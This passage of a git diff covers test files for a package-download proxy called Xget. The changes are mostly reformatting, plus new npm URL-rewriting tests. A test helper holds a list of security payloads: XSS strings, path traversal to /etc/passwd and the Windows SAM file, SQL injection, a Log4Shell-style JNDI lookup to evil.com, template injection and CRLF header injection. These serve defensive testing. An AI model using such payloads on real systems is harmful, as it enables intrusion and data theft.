path.includes('config.json')) { + resolve(createMockResponse(MOCK_RESPONSES.huggingface.modelConfig)); + } else if (path.includes('/npm/') && !path.includes('.tgz')) { + resolve(createMockResponse(MOCK_RESPONSES.npm.packageMetadata)); + } else if (path.includes('/pypi/simple/')) { + resolve(createMockResponse(MOCK_RESPONSES.pypi.simpleIndex)); + } else if (path.includes('/conda/') && path.includes('repodata.json')) { + resolve(createMockResponse(MOCK_RESPONSES.conda.repodata)); + } else if (options.method && !['GET', 'HEAD', 'POST'].includes(options.method)) { + resolve(createMockResponse(MOCK_RESPONSES.errors.methodNotAllowed)); + } else if (path.length > 2048) { + resolve(createMockResponse(MOCK_RESPONSES.errors.pathTooLong)); + } else { + resolve(createMockResponse(MOCK_RESPONSES.errors.notFound)); + } + }, + Math.random() * 50 + 10 + ); // 10-60ms delay }); -} \ No newline at end of file +} diff --git a/test/helpers/test-utils.js b/test/helpers/test-utils.js index cc3937c..4a6dbc9 100644 --- a/test/helpers/test-utils.js +++ b/test/helpers/test-utils.js @@ -13,7 +13,7 @@ export function createMockRequest(url, options = {}) { method: 'GET', headers: { 'User-Agent': 'Mozilla/5.0 (Test)', - 'Accept': '*/*' + Accept: '*/*' } }; @@ -45,9 +45,7 @@ export function createMockResponse(body = 'OK', options = {}) { * @returns {Request} Git request object */ export function createGitRequest(url, service = 'git-upload-pack') { - const gitUrl = url.includes('?') - ? `${url}&service=${service}` - : `${url}?service=${service}`; + const gitUrl = url.includes('?') ? `${url}&service=${service}` : `${url}?service=${service}`; return new Request(gitUrl, { method: service === 'git-upload-pack' ? 'GET' : 'POST', @@ -97,7 +95,10 @@ export const TEST_URLS = { npm: { package: 'https://example.com/npm/react', tarball: 'https://example.com/npm/react/-/react-18.2.0.tgz', - scoped: 'https://example.com/npm/@types/node' + scoped: 'https://example.com/npm/@types/node', + // Test case for the specific npm package that caused the issue + npmPackage: 'https://example.com/npm/npm', + npmTarball: 'https://example.com/npm/npm/-/npm-11.5.1.tgz' }, pypi: { simple: 'https://example.com/pypi/simple/requests/', @@ -119,7 +120,7 @@ export const SECURITY_PAYLOADS = { '', 'javascript:alert(1)', '">', - '\';alert(1);//' + "';alert(1);//" ], pathTraversal: [ '../../../etc/passwd', @@ -127,12 +128,7 @@ export const SECURITY_PAYLOADS = { '..\\..\\..\\windows\\system32\\config\\sam', '%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd' ], - injection: [ - '\'; DROP TABLE users; --', - '${jndi:ldap://evil.com}', - '{{7*7}}', - '<%=7*7%>' - ], + injection: ["'; DROP TABLE users; --", '${jndi:ldap://evil.com}', '{{7*7}}', '<%=7*7%>'], headerInjection: [ 'value\r\nX-Injected: malicious', 'value\nX-Injected: malicious', @@ -158,13 +154,13 @@ export class PerformanceTestHelper { const start = performance.now(); const result = await fn(); const end = performance.now(); - + this.measurements.push({ name, duration: end - start, timestamp: Date.now() }); - + return result; } @@ -184,7 +180,7 @@ export class PerformanceTestHelper { getAverageDuration(name) { const filtered = this.measurements.filter(m => m.name === name); if (filtered.length === 0) return 0; - + const total = filtered.reduce((sum, m) => sum + m.duration, 0); return total / filtered.length; } @@ -218,6 +214,32 @@ export function mockFetch(url, options = {}) { }); } +/** + * Create a mock npm registry response + * @param {string} packageName - Package name + * @param {string} version - Package version + * @returns {Object} Mock npm registry response + */ +export function createMockNpmRegistryResponse(packageName, version = '1.0.0') { + return { + name: packageName, + versions: { + [version]: { + name: packageName, + version: version, + dist: { + tarball: `https://registry.npmjs.org/${packageName}/-/${packageName}-${version}.tgz`, + shasum: 'mock-shasum', + integrity: 'mock-integrity' + } + } + }, + 'dist-tags': { + latest: version + } + }; +} + /** * Validate response headers for security * @param {Response} response - Response to validate @@ -311,4 +333,4 @@ export function timeout(ms) { */ export function wait(ms) { return new Promise(resolve => setTimeout(resolve, ms)); -} \ No newline at end of file +} diff --git a/test/index.test.js b/test/index.test.js index 307d241..46ebfa1 100644 --- a/test/index.test.js +++ b/test/index.test.js @@ -21,7 +21,7 @@ describe('Xget Core Functionality', () => { it('should include security headers in all responses', async () => { const response = await SELF.fetch('https://example.com/'); - + expect(response.headers.get('Strict-Transport-Security')).toBeTruthy(); expect(response.headers.get('X-Frame-Options')).toBe('DENY'); expect(response.headers.get('X-XSS-Protection')).toBe('1; mode=block'); @@ -34,7 +34,7 @@ describe('Xget Core Functionality', () => { it('should handle GitHub URLs correctly', async () => { const testUrl = 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); - + // Should attempt to proxy to GitHub expect(response.status).not.toBe(400); }); @@ -42,7 +42,7 @@ describe('Xget Core Functionality', () => { it('should handle GitLab URLs correctly', async () => { const testUrl = 'https://example.com/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); - + // Should attempt to proxy to GitLab expect(response.status).not.toBe(400); }); @@ -50,7 +50,7 @@ describe('Xget Core Functionality', () => { it('should handle Hugging Face URLs correctly', async () => { const testUrl = 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); - + // Should attempt to proxy to Hugging Face expect(response.status).not.toBe(400); }); @@ -58,7 +58,7 @@ describe('Xget Core Functionality', () => { it('should handle npm URLs correctly', async () => { const testUrl = 'https://example.com/npm/react/-/react-18.2.0.tgz'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); - + // Should attempt to proxy to npm expect(response.status).not.toBe(400); }); @@ -66,15 +66,16 @@ describe('Xget Core Functionality', () => { it('should handle PyPI URLs correctly', async () => { const testUrl = 'https://example.com/pypi/packages/source/r/requests/requests-2.31.0.tar.gz'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); - + // Should attempt to proxy to PyPI expect(response.status).not.toBe(400); }); it('should handle conda URLs correctly', async () => { - const testUrl = 'https://example.com/conda/pkgs/main/linux-64/numpy-1.24.3-py311h08b1b3b_1.conda'; + const testUrl = + 'https://example.com/conda/pkgs/main/linux-64/numpy-1.24.3-py311h08b1b3b_1.conda'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); - + // Should attempt to proxy to conda expect(response.status).not.toBe(400); }); @@ -85,7 +86,7 @@ describe('Xget Core Functionality', () => { const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', { method: 'GET' }); - + expect(response.status).not.toBe(405); }); @@ -93,7 +94,7 @@ describe('Xget Core Functionality', () => { const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', { method: 'HEAD' }); - + expect(response.status).not.toBe(405); }); @@ -101,7 +102,7 @@ describe('Xget Core Functionality', () => { const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', { method: 'PUT' }); - + expect(response.status).toBe(405); }); @@ -109,7 +110,7 @@ describe('Xget Core Functionality', () => { const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', { method: 'DELETE' }); - + expect(response.status).toBe(405); }); }); @@ -123,7 +124,7 @@ describe('Xget Core Functionality', () => { 'User-Agent': 'git/2.34.1' } }); - + expect(response.status).not.toBe(405); }); @@ -135,18 +136,21 @@ describe('Xget Core Functionality', () => { 'User-Agent': 'git/2.34.1' } }); - + expect(response.status).not.toBe(405); }); it('should handle Git info/refs requests', async () => { - const response = await SELF.fetch('https://example.com/gh/test/repo.git/info/refs?service=git-upload-pack', { - method: 'GET', - headers: { - 'User-Agent': 'git/2.34.1' + const response = await SELF.fetch( + 'https://example.com/gh/test/repo.git/info/refs?service=git-upload-pack', + { + method: 'GET', + headers: { + 'User-Agent': 'git/2.34.1' + } } - }); - + ); + expect(response.status).not.toBe(405); }); }); @@ -155,14 +159,14 @@ describe('Xget Core Functionality', () => { it('should reject extremely long paths', async () => { const longPath = '/gh/' + 'a'.repeat(3000); const response = await SELF.fetch(`https://example.com${longPath}`); - + expect(response.status).toBe(414); }); it('should accept normal length paths', async () => { const normalPath = '/gh/microsoft/vscode/archive/refs/heads/main.zip'; const response = await SELF.fetch(`https://example.com${normalPath}`); - + expect(response.status).not.toBe(414); }); }); @@ -170,15 +174,63 @@ describe('Xget Core Functionality', () => { describe('Performance Headers', () => { it('should include performance metrics in response headers', async () => { const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt'); - + expect(response.headers.get('X-Performance-Metrics')).toBeTruthy(); }); it('should include valid JSON in performance metrics', async () => { const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt'); const metricsHeader = response.headers.get('X-Performance-Metrics'); - + expect(() => JSON.parse(metricsHeader)).not.toThrow(); }); }); -}); \ No newline at end of file + + describe('URL Rewriting', () => { + it('should rewrite npm registry URLs in JSON responses', async () => { + // Mock npm package metadata request + const testUrl = 'https://example.com/npm/lodash'; + const response = await SELF.fetch(testUrl); + + // This test would need actual npm registry response mocking + // For now, just verify the request doesn't fail + expect([200, 301, 302, 404, 500]).toContain(response.status); + }); + + it('should preserve npm tarball URL structure', async () => { + // Test that npm tarball URLs follow the correct pattern + const testUrl = 'https://example.com/npm/react/-/react-18.2.0.tgz'; + const response = await SELF.fetch(testUrl, { method: 'HEAD' }); + + // Should attempt to proxy correctly + expect(response.status).not.toBe(400); + }); + + it('should correctly rewrite npm URLs to preserve package names', () => { + // Test the regex replacement logic directly + const mockOriginalText = JSON.stringify({ + name: 'npm', + versions: { + '11.5.1': { + dist: { + tarball: 'https://registry.npmjs.org/npm/-/npm-11.5.1.tgz' + } + } + } + }); + + // Simulate the regex replacement that happens in the code + const rewrittenText = mockOriginalText.replace( + /https:\/\/registry\.npmjs\.org\/([^\/]+)/g, + `https://xget.xi-xu.me/npm/$1` + ); + + const rewrittenData = JSON.parse(rewrittenText); + + // Verify the URL is correctly rewritten with package name preserved + expect(rewrittenData.versions['11.5.1'].dist.tarball).toBe( + 'https://xget.xi-xu.me/npm/npm/-/npm-11.5.1.tgz' + ); + }); + }); +}); diff --git a/test/integration.test.js b/test/integration.test.js index e0ccd5b..b9441c1 100644 --- a/test/integration.test.js +++ b/test/integration.test.js @@ -6,10 +6,10 @@ describe('Integration Tests', () => { it('should proxy GitHub file requests correctly', async () => { const testUrl = 'https://example.com/gh/microsoft/vscode/blob/main/package.json'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); - + // Should attempt to proxy to GitHub expect([200, 301, 302, 404]).toContain(response.status); - + // Should include security headers expect(response.headers.get('Strict-Transport-Security')).toBeTruthy(); expect(response.headers.get('X-Performance-Metrics')).toBeTruthy(); @@ -18,21 +18,22 @@ describe('Integration Tests', () => { it('should handle GitHub raw file requests', async () => { const testUrl = 'https://example.com/gh/microsoft/vscode/raw/main/README.md'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); - + expect([200, 301, 302, 404]).toContain(response.status); }); it('should handle GitHub release downloads', async () => { - const testUrl = 'https://example.com/gh/microsoft/vscode/releases/download/1.85.0/VSCode-linux-x64.tar.gz'; + const testUrl = + 'https://example.com/gh/microsoft/vscode/releases/download/1.85.0/VSCode-linux-x64.tar.gz'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); - + expect([200, 301, 302, 404]).toContain(response.status); }); it('should proxy GitLab file requests correctly', async () => { const testUrl = 'https://example.com/gl/gitlab-org/gitlab/-/raw/master/package.json'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); - + expect([200, 301, 302, 404]).toContain(response.status); expect(response.headers.get('X-Performance-Metrics')).toBeTruthy(); }); @@ -40,41 +41,42 @@ describe('Integration Tests', () => { it('should handle Hugging Face model files', async () => { const testUrl = 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); - + expect([200, 301, 302, 404]).toContain(response.status); }); it('should handle npm package requests', async () => { const testUrl = 'https://example.com/npm/react'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); - + expect([200, 301, 302, 404]).toContain(response.status); }); it('should handle PyPI package requests', async () => { const testUrl = 'https://example.com/pypi/simple/requests/'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); - + expect([200, 301, 302, 404]).toContain(response.status); }); it('should handle conda package requests', async () => { const testUrl = 'https://example.com/conda/pkgs/main/linux-64/repodata.json'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); - + expect([200, 301, 302, 404]).toContain(response.status); }); }); describe('Git Protocol Integration', () => { it('should handle Git info/refs requests', async () => { - const testUrl = 'https://example.com/gh/microsoft/vscode.git/info/refs?service=git-upload-pack'; + const testUrl = + 'https://example.com/gh/microsoft/vscode.git/info/refs?service=git-upload-pack'; const response = await SELF.fetch(testUrl, { headers: { 'User-Agent': 'git/2.34.1' } }); - + expect([200, 301, 302, 404]).toContain(response.status); }); @@ -88,7 +90,7 @@ describe('Integration Tests', () => { }, body: '0000' // Minimal Git protocol data }); - + expect([200, 301, 302, 400, 404]).toContain(response.status); }); @@ -100,7 +102,7 @@ describe('Integration Tests', () => { 'Git-Protocol': 'version=2' } }); - + // Should not reject Git-specific headers expect(response.status).not.toBe(400); }); @@ -109,31 +111,31 @@ describe('Integration Tests', () => { describe('Caching Integration', () => { it('should cache responses appropriately', async () => { const testUrl = 'https://example.com/gh/test/repo/static-file.txt'; - + // First request const response1 = await SELF.fetch(testUrl); const metrics1 = response1.headers.get('X-Performance-Metrics'); - + // Second request (should potentially hit cache) const response2 = await SELF.fetch(testUrl); const metrics2 = response2.headers.get('X-Performance-Metrics'); - + expect(metrics1).toBeTruthy(); expect(metrics2).toBeTruthy(); - + // Both requests should succeed expect(response1.status).toBe(response2.status); }); it('should not cache Git protocol requests', async () => { const testUrl = 'https://example.com/gh/test/repo.git/info/refs?service=git-upload-pack'; - + const response = await SELF.fetch(testUrl, { headers: { 'User-Agent': 'git/2.34.1' } }); - + // Git requests should not be cached (no cache headers) expect(response.headers.get('Cache-Control')).not.toContain('max-age=1800'); }); @@ -143,7 +145,7 @@ describe('Integration Tests', () => { it('should handle upstream server errors gracefully', async () => { const testUrl = 'https://example.com/gh/nonexistent/repo/file.txt'; const response = await SELF.fetch(testUrl); - + // Should handle 404 from upstream gracefully expect([404, 502, 503]).toContain(response.status); expect(response.headers.get('X-Performance-Metrics')).toBeTruthy(); @@ -155,7 +157,7 @@ describe('Integration Tests', () => { // with a mock server that delays responses. const testUrl = 'https://example.com/gh/test/repo/file.txt'; const response = await SELF.fetch(testUrl); - + // Should complete within reasonable time expect(response.status).toBeDefined(); }); @@ -164,7 +166,7 @@ describe('Integration Tests', () => { // Test retry mechanism by checking performance metrics const testUrl = 'https://example.com/gh/test/unreliable-endpoint'; const response = await SELF.fetch(testUrl); - + const metricsHeader = response.headers.get('X-Performance-Metrics'); if (metricsHeader) { const metrics = JSON.parse(metricsHeader); @@ -178,12 +180,12 @@ describe('Integration Tests', () => { it('should complete requests within reasonable time', async () => { const startTime = Date.now(); const testUrl = 'https://example.com/gh/test/repo/small-file.txt'; - + const response = await SELF.fetch(testUrl); const endTime = Date.now(); - + const duration = endTime - startTime; - + // Should complete within 30 seconds (timeout limit) expect(duration).toBeLessThan(30000); expect(response.status).toBeDefined(); @@ -198,7 +200,7 @@ describe('Integration Tests', () => { 'https://example.com/pypi/simple/test/', 'https://example.com/conda/pkgs/main/test.json' ]; - + for (const url of testUrls) { const response = await SELF.fetch(url, { method: 'HEAD' }); expect(response.headers.get('X-Performance-Metrics')).toBeTruthy(); @@ -214,10 +216,10 @@ describe('Integration Tests', () => { { url: 'https://example.com/gh/test/repo/style.css', expectedType: 'css' }, { url: 'https://example.com/gh/test/repo/script.js', expectedType: 'javascript' } ]; - + for (const testCase of testCases) { const response = await SELF.fetch(testCase.url, { method: 'HEAD' }); - + if (response.status === 200) { const contentType = response.headers.get('Content-Type'); if (contentType) { @@ -233,13 +235,13 @@ describe('Integration Tests', () => { const testUrl = 'https://example.com/gh/test/repo/large-file.zip'; const response = await SELF.fetch(testUrl, { headers: { - 'Range': 'bytes=0-1023' + Range: 'bytes=0-1023' } }); - + // Should either support range requests (206) or return full content (200) expect([200, 206, 404]).toContain(response.status); - + if (response.status === 206) { expect(response.headers.get('Content-Range')).toBeTruthy(); } @@ -252,11 +254,11 @@ describe('Integration Tests', () => { 'https://example.com/gh/test/repo/README.md', 'https://example.com/gl/test/repo/README.md' ]; - + const responses = await Promise.all( testCases.map(url => SELF.fetch(url, { method: 'HEAD' })) ); - + // All responses should have consistent security headers responses.forEach(response => { expect(response.headers.get('Strict-Transport-Security')).toBeTruthy(); @@ -264,4 +266,4 @@ describe('Integration Tests', () => { }); }); }); -}); \ No newline at end of file +}); diff --git a/test/npm-fix.test.js b/test/npm-fix.test.js new file mode 100644 index 0000000..4addcce --- /dev/null +++ b/test/npm-fix.test.js @@ -0,0 +1,82 @@ +import { describe, expect, it } from 'vitest'; + +describe('npm URL Rewriting Fix', () => { + it('should correctly rewrite npm registry URLs to preserve package names', () => { + const mockOriginalText = JSON.stringify({ + name: 'npm', + versions: { + '11.5.1': { + dist: { + tarball: 'https://registry.npmjs.org/npm/-/npm-11.5.1.tgz' + } + } + } + }); + + // Simulate the regex replacement that happens in the code + const rewrittenText = mockOriginalText.replace( + /https:\/\/registry\.npmjs\.org\/([^\/]+)/g, + `https://xget.xi-xu.me/npm/$1` + ); + + const rewrittenData = JSON.parse(rewrittenText); + + // Verify the URL is correctly rewritten + expect(rewrittenData.versions['11.5.1'].dist.tarball).toBe( + 'https://xget.xi-xu.me/npm/npm/-/npm-11.5.1.tgz' + ); + }); + + it('should handle scoped packages correctly', () => { + const mockOriginalText = JSON.stringify({ + name: '@types/node', + versions: { + '20.0.0': { + dist: { + tarball: 'https://registry.npmjs.org/@types/node/-/node-20.0.0.tgz' + } + } + } + }); + + const rewrittenText = mockOriginalText.replace( + /https:\/\/registry\.npmjs\.org\/([^\/]+)/g, + `https://xget.xi-xu.me/npm/$1` + ); + + const rewrittenData = JSON.parse(rewrittenText); + + expect(rewrittenData.versions['20.0.0'].dist.tarball).toBe( + 'https://xget.xi-xu.me/npm/@types/node/-/node-20.0.0.tgz' + ); + }); + + it('should handle multiple URLs in the same JSON response', () => { + const mockOriginalText = JSON.stringify({ + dist: { + tarball: 'https://registry.npmjs.org/package1/-/package1-1.0.0.tgz' + }, + dependencies: { + dep: { + dist: { + tarball: 'https://registry.npmjs.org/dep/-/dep-2.0.0.tgz' + } + } + } + }); + + const rewrittenText = mockOriginalText.replace( + /https:\/\/registry\.npmjs\.org\/([^\/]+)/g, + `https://xget.xi-xu.me/npm/$1` + ); + + const rewrittenData = JSON.parse(rewrittenText); + + expect(rewrittenData.dist.tarball).toBe( + 'https://xget.xi-xu.me/npm/package1/-/package1-1.0.0.tgz' + ); + expect(rewrittenData.dependencies.dep.dist.tarball).toBe( + 'https://xget.xi-xu.me/npm/dep/-/dep-2.0.0.tgz' + ); + }); +}); diff --git a/test/performance.test.js b/test/performance.test.js index ea70ee1..7209c5f 100644 --- a/test/performance.test.js +++ b/test/performance.test.js @@ -34,7 +34,7 @@ describe('Performance Monitoring', () => { it('should create timing marks', () => { monitor.mark('test-mark'); - + const metrics = monitor.getMetrics(); expect(metrics).toHaveProperty('test-mark'); expect(typeof metrics['test-mark']).toBe('number'); @@ -44,7 +44,7 @@ describe('Performance Monitoring', () => { monitor.mark('mark1'); monitor.mark('mark2'); monitor.mark('mark3'); - + const metrics = monitor.getMetrics(); expect(Object.keys(metrics)).toHaveLength(3); expect(metrics).toHaveProperty('mark1'); @@ -57,19 +57,19 @@ describe('Performance Monitoring', () => { const originalWarn = console.warn; const mockWarn = vi ? vi.fn() : jest.fn(); console.warn = mockWarn; - + monitor.mark('duplicate'); monitor.mark('duplicate'); - + expect(mockWarn).toHaveBeenCalledWith('Mark with name duplicate already exists.'); - + // Restore original console.warn console.warn = originalWarn; }); it('should return metrics as plain object', () => { monitor.mark('test'); - + const metrics = monitor.getMetrics(); expect(metrics).toBeTypeOf('object'); expect(Array.isArray(metrics)).toBe(false); @@ -77,12 +77,12 @@ describe('Performance Monitoring', () => { it('should track elapsed time correctly', async () => { monitor.mark('start'); - + // Wait a small amount of time await new Promise(resolve => setTimeout(resolve, 10)); - + monitor.mark('end'); - + const metrics = monitor.getMetrics(); expect(metrics.end).toBeGreaterThan(metrics.start); }); @@ -94,18 +94,18 @@ describe('Performance Monitoring', () => { monitor.mark('proxy-start'); monitor.mark('proxy-end'); monitor.mark('request-end'); - + const metrics = monitor.getMetrics(); - + expect(() => JSON.stringify(metrics)).not.toThrow(); }); it('should have reasonable timing values', () => { monitor.mark('test-mark'); - + const metrics = monitor.getMetrics(); const timing = metrics['test-mark']; - + // Should be a positive number and reasonable (less than 1 second for this test) expect(timing).toBeGreaterThanOrEqual(0); expect(timing).toBeLessThan(1000); @@ -117,9 +117,9 @@ describe('Performance Monitoring', () => { monitor.mark('second'); await new Promise(resolve => setTimeout(resolve, 5)); monitor.mark('third'); - + const metrics = monitor.getMetrics(); - + expect(metrics.first).toBeLessThan(metrics.second); expect(metrics.second).toBeLessThan(metrics.third); }); @@ -133,9 +133,9 @@ describe('Performance Monitoring', () => { monitor.mark('proxy-start'); monitor.mark('proxy-response'); monitor.mark('response-sent'); - + const metrics = monitor.getMetrics(); - + expect(metrics).toHaveProperty('request-received'); expect(metrics).toHaveProperty('validation-complete'); expect(metrics).toHaveProperty('proxy-start'); @@ -148,9 +148,9 @@ describe('Performance Monitoring', () => { monitor.mark('cache-miss'); monitor.mark('upstream-request'); monitor.mark('cache-store'); - + const metrics = monitor.getMetrics(); - + expect(metrics).toHaveProperty('cache-check-start'); expect(metrics).toHaveProperty('cache-miss'); expect(metrics).toHaveProperty('upstream-request'); @@ -161,9 +161,9 @@ describe('Performance Monitoring', () => { monitor.mark('request-start'); monitor.mark('error-occurred'); monitor.mark('error-handled'); - + const metrics = monitor.getMetrics(); - + expect(metrics).toHaveProperty('request-start'); expect(metrics).toHaveProperty('error-occurred'); expect(metrics).toHaveProperty('error-handled'); @@ -173,24 +173,24 @@ describe('Performance Monitoring', () => { describe('Performance Thresholds', () => { it('should identify slow operations', () => { monitor.mark('operation-start'); - + // Simulate slow operation const slowTiming = 5000; // 5 seconds monitor.marks.set('operation-end', slowTiming); - + const metrics = monitor.getMetrics(); const operationTime = metrics['operation-end'] - (metrics['operation-start'] || 0); - + // Should identify as slow (> 1 second) expect(operationTime).toBeGreaterThan(1000); }); it('should identify fast operations', () => { monitor.mark('fast-operation'); - + const metrics = monitor.getMetrics(); const timing = metrics['fast-operation']; - + // Should be fast (< 100ms for this test) expect(timing).toBeLessThan(100); }); @@ -199,14 +199,14 @@ describe('Performance Monitoring', () => { describe('Memory and Resource Usage', () => { it('should not leak memory with many marks', () => { const initialSize = monitor.marks.size; - + // Add many marks for (let i = 0; i < 1000; i++) { monitor.mark(`mark-${i}`); } - + expect(monitor.marks.size).toBe(initialSize + 1000); - + // Clear marks (if such method existed) monitor.marks.clear(); expect(monitor.marks.size).toBe(0); @@ -214,7 +214,7 @@ describe('Performance Monitoring', () => { it('should handle concurrent mark operations', () => { const promises = []; - + for (let i = 0; i < 10; i++) { promises.push( new Promise(resolve => { @@ -225,11 +225,11 @@ describe('Performance Monitoring', () => { }) ); } - + return Promise.all(promises).then(() => { const metrics = monitor.getMetrics(); expect(Object.keys(metrics)).toHaveLength(10); }); }); }); -}); \ No newline at end of file +}); diff --git a/test/platforms.test.js b/test/platforms.test.js index 7f4c9e0..0925cc5 100644 --- a/test/platforms.test.js +++ b/test/platforms.test.js @@ -5,7 +5,7 @@ describe('Platform Configuration', () => { describe('Platform Definitions', () => { it('should have all required platforms defined', () => { const requiredPlatforms = ['gh', 'gl', 'hf', 'npm', 'pypi', 'conda']; - + requiredPlatforms.forEach(platform => { expect(PLATFORMS).toHaveProperty(platform); expect(PLATFORMS[platform]).toBeDefined(); @@ -30,12 +30,12 @@ describe('Platform Configuration', () => { describe('GitHub Platform', () => { it('should transform GitHub paths correctly', () => { const transform = PLATFORMS.gh.transform; - - expect(transform('/gh/microsoft/vscode/archive/main.zip')) - .toBe('/microsoft/vscode/archive/main.zip'); - - expect(transform('/gh/user/repo.git')) - .toBe('/user/repo.git'); + + expect(transform('/gh/microsoft/vscode/archive/main.zip')).toBe( + '/microsoft/vscode/archive/main.zip' + ); + + expect(transform('/gh/user/repo.git')).toBe('/user/repo.git'); }); it('should have correct base URL', () => { @@ -46,9 +46,10 @@ describe('Platform Configuration', () => { describe('GitLab Platform', () => { it('should transform GitLab paths correctly', () => { const transform = PLATFORMS.gl.transform; - - expect(transform('/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip')) - .toBe('/gitlab-org/gitlab/-/archive/master/gitlab-master.zip'); + + expect(transform('/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip')).toBe( + '/gitlab-org/gitlab/-/archive/master/gitlab-master.zip' + ); }); it('should have correct base URL', () => { @@ -59,12 +60,14 @@ describe('Platform Configuration', () => { describe('Hugging Face Platform', () => { it('should transform Hugging Face paths correctly', () => { const transform = PLATFORMS.hf.transform; - - expect(transform('/hf/microsoft/DialoGPT-medium/resolve/main/config.json')) - .toBe('/microsoft/DialoGPT-medium/resolve/main/config.json'); - - expect(transform('/hf/datasets/squad/resolve/main/train.json')) - .toBe('/datasets/squad/resolve/main/train.json'); + + expect(transform('/hf/microsoft/DialoGPT-medium/resolve/main/config.json')).toBe( + '/microsoft/DialoGPT-medium/resolve/main/config.json' + ); + + expect(transform('/hf/datasets/squad/resolve/main/train.json')).toBe( + '/datasets/squad/resolve/main/train.json' + ); }); it('should have correct base URL', () => { @@ -75,12 +78,10 @@ describe('Platform Configuration', () => { describe('npm Platform', () => { it('should transform npm paths correctly', () => { const transform = PLATFORMS.npm.transform; - - expect(transform('/npm/react/-/react-18.2.0.tgz')) - .toBe('/react/-/react-18.2.0.tgz'); - - expect(transform('/npm/lodash')) - .toBe('/lodash'); + + expect(transform('/npm/react/-/react-18.2.0.tgz')).toBe('/react/-/react-18.2.0.tgz'); + + expect(transform('/npm/lodash')).toBe('/lodash'); }); it('should have correct base URL', () => { @@ -91,12 +92,12 @@ describe('Platform Configuration', () => { describe('PyPI Platform', () => { it('should transform PyPI paths correctly', () => { const transform = PLATFORMS.pypi.transform; - - expect(transform('/pypi/packages/source/r/requests/requests-2.31.0.tar.gz')) - .toBe('/packages/source/r/requests/requests-2.31.0.tar.gz'); - - expect(transform('/pypi/simple/requests/')) - .toBe('/simple/requests/'); + + expect(transform('/pypi/packages/source/r/requests/requests-2.31.0.tar.gz')).toBe( + '/packages/source/r/requests/requests-2.31.0.tar.gz' + ); + + expect(transform('/pypi/simple/requests/')).toBe('/simple/requests/'); }); it('should have correct base URL', () => { @@ -107,16 +108,18 @@ describe('Platform Configuration', () => { describe('conda Platform', () => { it('should transform conda default channel paths correctly', () => { const transform = PLATFORMS.conda.transform; - - expect(transform('/conda/pkgs/main/linux-64/numpy-1.24.3.conda')) - .toBe('/pkgs/main/linux-64/numpy-1.24.3.conda'); + + expect(transform('/conda/pkgs/main/linux-64/numpy-1.24.3.conda')).toBe( + '/pkgs/main/linux-64/numpy-1.24.3.conda' + ); }); it('should transform conda community channel paths correctly', () => { const transform = PLATFORMS.conda.transform; - - expect(transform('/conda/community/conda-forge/linux-64/repodata.json')) - .toBe('/conda-forge/linux-64/repodata.json'); + + expect(transform('/conda/community/conda-forge/linux-64/repodata.json')).toBe( + '/conda-forge/linux-64/repodata.json' + ); }); it('should have correct base URLs', () => { @@ -141,16 +144,14 @@ describe('Platform Configuration', () => { it('should handle paths with query parameters', () => { const transform = PLATFORMS.gh.transform; - - expect(transform('/gh/user/repo/file.txt?ref=main')) - .toBe('/user/repo/file.txt?ref=main'); + + expect(transform('/gh/user/repo/file.txt?ref=main')).toBe('/user/repo/file.txt?ref=main'); }); it('should handle paths with fragments', () => { const transform = PLATFORMS.gh.transform; - - expect(transform('/gh/user/repo/README.md#section')) - .toBe('/user/repo/README.md#section'); + + expect(transform('/gh/user/repo/README.md#section')).toBe('/user/repo/README.md#section'); }); }); @@ -160,7 +161,7 @@ describe('Platform Configuration', () => { const testPath = `/${key}/test/path`; const transformedPath = config.transform(testPath); const fullUrl = config.base + transformedPath; - + expect(() => new URL(fullUrl)).not.toThrow(); }); }); @@ -170,9 +171,9 @@ describe('Platform Configuration', () => { const communityPath = '/conda/community/conda-forge/test'; const transformedPath = config.transform(communityPath); const fullUrl = config.communityBase + transformedPath; - + expect(() => new URL(fullUrl)).not.toThrow(); expect(fullUrl).toContain('conda.anaconda.org'); }); }); -}); \ No newline at end of file +}); diff --git a/test/security.test.js b/test/security.test.js index 1367c6e..bb40893 100644 --- a/test/security.test.js +++ b/test/security.test.js @@ -5,7 +5,7 @@ describe('Security Features', () => { describe('Security Headers', () => { it('should include Strict-Transport-Security header', async () => { const response = await SELF.fetch('https://example.com/'); - + const hsts = response.headers.get('Strict-Transport-Security'); expect(hsts).toBeTruthy(); expect(hsts).toContain('max-age='); @@ -15,19 +15,19 @@ describe('Security Features', () => { it('should include X-Frame-Options header', async () => { const response = await SELF.fetch('https://example.com/'); - + expect(response.headers.get('X-Frame-Options')).toBe('DENY'); }); it('should include X-XSS-Protection header', async () => { const response = await SELF.fetch('https://example.com/'); - + expect(response.headers.get('X-XSS-Protection')).toBe('1; mode=block'); }); it('should include Content-Security-Policy header', async () => { const response = await SELF.fetch('https://example.com/'); - + const csp = response.headers.get('Content-Security-Policy'); expect(csp).toBeTruthy(); expect(csp).toContain("default-src 'none'"); @@ -35,13 +35,13 @@ describe('Security Features', () => { it('should include Referrer-Policy header', async () => { const response = await SELF.fetch('https://example.com/'); - + expect(response.headers.get('Referrer-Policy')).toBe('strict-origin-when-cross-origin'); }); it('should include Permissions-Policy header', async () => { const response = await 